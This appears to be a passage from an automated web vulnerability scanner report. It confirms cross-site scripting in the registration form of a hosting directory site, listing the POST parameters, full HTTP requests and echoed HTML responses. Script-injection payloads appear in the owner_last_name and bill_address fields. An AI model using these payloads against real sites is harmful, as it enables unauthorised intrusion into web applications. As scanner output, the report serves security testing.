are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2C13FB64898035905C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D25EC6558EF9A40DCB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D244B53E97421F4D6CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D25739995C8210E8B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2C3EE557FCE332B856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D25A866D4887C43D68C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D2EB5302476A9806D1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2FAF1E2CE6EFFDC6A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D244A9FAA21F921CABC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D2C2913D1566BB9BEF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D246F64750E2EA089FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2AE755950514A6BFDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D28B0ED92E5EA7174DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D24DC402FE12EEFF44C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D200BE9715E62B848AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D290B455B99184080EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D29A3718314C4013A96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2AF2C9A5F84EA01A26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D2EEC6C38C260ED1616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST '"--></style></script><script>alert(0x001DEE)</script>
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 540
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DEE)%3c%2fscript%3e&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:47 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2BCDDC36E2F1F7ABAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D20BD1E6F31DD115206F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D217E44692234E609FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D240D12A47F2711FC7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D22383E953B0C62E776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D273BA62C51306EB53C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D20EC840AB01314E87C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D26881FA4ACD8105F56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2FB4E71D86842FF25C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D23AD08C4E970EF9D56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D2D533FDB7F11769E8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2DA9145C925E58450C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D2EF52E29521B4F26EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D260F030B600020D79C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D28336ACEDB4F398AFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D24B2AD6673B501676C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D27C973645ED69CCCD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D283A6582EF62DFEFF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D27B467CEA3711AEA76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST '"--></style></script><script>alert(0x001DEF)</script>
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DEF)%3c%2fscript%3e&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:49 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = 